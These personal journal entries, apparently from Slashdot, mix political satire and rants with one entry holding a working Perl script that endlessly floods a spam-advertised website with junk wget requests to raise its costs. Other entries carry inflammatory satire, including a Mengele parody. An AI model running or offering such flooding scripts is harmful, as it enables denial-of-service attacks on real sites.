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Journal Journal: Greenpeace vigilance

Greenpeace is an vigilant organization.

So vigilant it had overlooked an entire sea, while busily fighting for ecologically insignificant part of a small river.

Google search for the keywords: greenpeace protest rospuda brought (2007.11.17) 13.800 links. Rospuda is a small river in Poland, in parts a natural reserve. A bridge was to be built above Rospuda in a place far from any natural reserves. The bridge would facilitate traffic along an overcrowded and dangerous route that connects Lithuania with the rest of Europe.

You didn't know Rospuda river? The vigilant knew, came, won and the construction has stopped.

Google search for the keywords: greenpeace protest nordstream brought (2007.11.17) 15 links. Nordstream is a joint venture between Russian state-owned company Gazprom (The former Chancellor of Germany, Gerhard Schroeder became a high-ranking employee of Gazprom within a month of his resignation as Chancellor) and German companies Wintershall AG and E.ON Ruhrgas. It was established to build a gas pipe directly from Russia to Germany along the bed of the Baltic Sea, bypassing E.U. member states Poland, Latvia, Lithuania and Estonia. The project, if completed, would constitute a major ecological threat to the Baltic sea. Sweden and other governments had already voiced their concern about the ecological safety of this project.

You did know where Baltic sea is. Mind showing it to the vigilant?

Who covers the Greenpeace's expenses? No, that can't have anything to do with the vigilance! Can't it?

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Journal Journal: PC Dictionary

Doubleplusgood! Dictionary

The Ministry of Truth doesn't exist of course and so far it's only ridicule awaiting those, who dare to disagree.

Idiot --> "Different"
German --> "Nazi" (For industrial-scale genocides only; for science and arts, still German)
Muscovite, later Soviet --> "Russian"
White --> "Caucasian"
Black --> "African"
Fat --> "Obese"
Critical of Israel --> "Antisemitic"
Invaders --> "Liberators" (As of Red Army in East Europe or US Army in Iraq)
Constitution --> "Reforming Treaty" (The founding act of European Reich)
Tradition --> "Backwardness"
Harm --> "Progress"
Exterminating Arabs --> "Peacemaking"
Zionist terrorism --> (no such term)
Fighting against Zionist terrorists --> "Terrorism"

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Journal Journal: Fame

What did Nobel understand that Kalashnikov didn't?
"Memento mori"

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Journal Journal: Workforce nutrition: an optimal approach

Abstract: The body of a human worker needs regular supply of carbohydrates and proteins to sustain service activity. The need for animal protein in diet is the most important limit of worker body cost efficiency, additionally presenting heavy environmental load. The life time of a worker body is divided into revenue-generating workspan and cost-generating, unproductive postworkspan (retirement period). We review historical solutions, including the most promissing 3 year continuous low-nutrition workforce diet trial (Mengele, et. al). Based on existing data, we propose a novel age-dependent dietary approach which maximizes the workspan, shortening the postworkspan. In our scheme, the work is extracted at the rate only slightly above the body homeostasis level provided by protein-rich nutrition at the start of workspan (when the feeding costs are covered by body's parents), with the load gradually increasing towards the retirement. The old body's aminoacid deficits are compensated for by carry-over from adolescence. The increased workload in later stage decreases the length of the unproductive postworkspan. Limited protein intake later in the service opens new possibilities for extracting additional revenues from the worker body. (Terlih A., Guchashwili J.V., Shub G., Tenochip A. Hitohori in The Leader Journal, Vol.666, pp 13-42)

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Journal Journal: DIY spamverizer cost raiser

#!/usr/bin/perl -w

srand time;
@let_array = ('a'..'z'); #0..25
@agent_dict = ('A'..'Z','a'..'z'); #0..51
$agent="\"Mozilla/5.001 (windows; U; NT4.0; en-us) Gecko/25250101\"";

while(1)
{
                @ar = ();
                foreach $num(0..3)
                {
                                $rn = int (rand(25));
                                $ar[$num]=$let_array[$rn];
                }
                $ags=join "",@ar;
                $aglen=int (rand(10000));
                foreach $num(0..$aglen)
                {
                                $rn = int (rand(51));
                                $ar[$num]=$agent_dict[$rn];
                }
                $agl=join "",@ar;
                $letter=$agent_dict[int rand(51)];
                `wget --user-agent=$agent -r -nd -O /dev/null http://spamvertizer.com/$ags.php?$letter=$agl`;
}

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Journal Journal: Citation

"Organisms usually loose their identity in contributing to fossil fuels" - Earth System History by Steven M. Stanley, (ISBN 0-7167-2882-6) p.62 Chapter 3

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Journal Journal: Valentine reflexion

Irenka said one can be arrested in Saudi Arabia for carrying flowers on Valentine's Day.
I don't care much about Valentine's, but the zeal of some governments in oppressing people lead me to wish a special weapon to fight a war I'd gladly participate in: A mean to specifically disable (without hurting if possible) the members of government. No harm to the general population.
===Abuse of power comes as no surprise===Jenny Holzer===

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Journal Journal: The Origin of Species

The Great Dubhugu (Hail His Name) collapsed in the couch, gulped beer and called His Grandson, The Great Creator of Species. "There are problems at my hunting grounds, Kfilifihi. Thou shall ynvestigate."
His Father's wish was His duty. "One day it will change. It shall be me opening this story and creating the species." And so he went.
We leave TGD(HHN) until the next gulp of beer. The sun was setting down, casting invisible shadows of the animals-to-be and the plants-to-be. "So be it. Fkdbhgxz, come here." He caled His dentist. "Go create those species. All of them." He handed him te list. "But do it in such a way, that the Darwinists would never know."
And so he went and created the species. And the Darwinists did never know.

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Journal Journal: Anniversaries suck!!!

Jan. 27th declared by UN as "International Day for Remembering the Holocaust Victims" (my transl. from polish newspaper.)

Hands off my birthday, UN! Go away! Take any other day, or better introduce a new day in the calendar for each important Day, so noone gets hurt.

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Journal Journal: Misc[0]

Next war:
Observe lands with disappearing middle class, growing group of poor, violence. This is the raw material for army. Is such process the result of intentional manipulation?

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Journal Journal: October

Arek's gone (-)
Petra arrives (+)
Lydia arrived (+)
Lina arrived (+)
Grazyna expected (+)

Friend balance sheet of a resident of Japan...
Irene, hurry up!

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Journal Journal: Translation of Jul4th post

Here: http://slashdot.org/comments.pl?sid=154116&threshold=1&commentsort=0&tid=103&mode=thread&cid=12973416

I wrote:
Ze co prosze?
Ze mam sie cieszyc z wyrabania krateru w komecie? A zapytal sie kto czy mozna? A moze nie mozna i ktos na tej komecie poczuje sie Bardzo Urazony i rozpierdoli nasza planetke w drzazgi... Nie zebym bral to na powaznie, ale przeciez macie panowie i panie niezly tupet. Zbyt niezly jak na mój gust. Milego swietowania.

In English (+/-):
Beg your pardon, what?
That I should be glad about hacking of crater in a comet? Did anyone ask for permission? What if it's not permitted and someone on that comet finds themselves Very Offended and 'rozpierdoli' our planet into smithereens... Not that I take it seriously, but do a nerve you have, ladies and gentlemen. Too much for my taste. Wishing you nice celebrations.

('rozpierdolic' means to destroy by an act of violent fuck, or blow; closest is Russian 'razpizdit', which is beyond me to express in English)

And thank you sweet - yes, the comment about posting in Polish on "American-centric" thread illustrates my point so well. The nerve to state that! Very American indeed. No reflexions from Teh Rulerz, right? :-)

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Journal Journal: war or terror

If war, Guantanamo prisoners are POWs.
If they are not POWs, what was the Afghanistan operation? Terror?

I lie, therefore I'm US administration.
I swallow lies, therefore I'm US electorate.
I think I'm upset.

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Journal Journal: Tools with policies

The policies that someone will set for you:
Digital Restriction Management (DRM) on our PC's.
Cutting Safety Measures (CSM) on our knives.

Heard that CSM will be decided by food processing industry to protect you from injuries. The knife is not going to cut some kinds of meat and vegetables. Toast bread makers suggest cutting bread causes considerable risk to fingers.

Now, CSM was a joke, but DRM not. Computers are tools of my profession. Damn...

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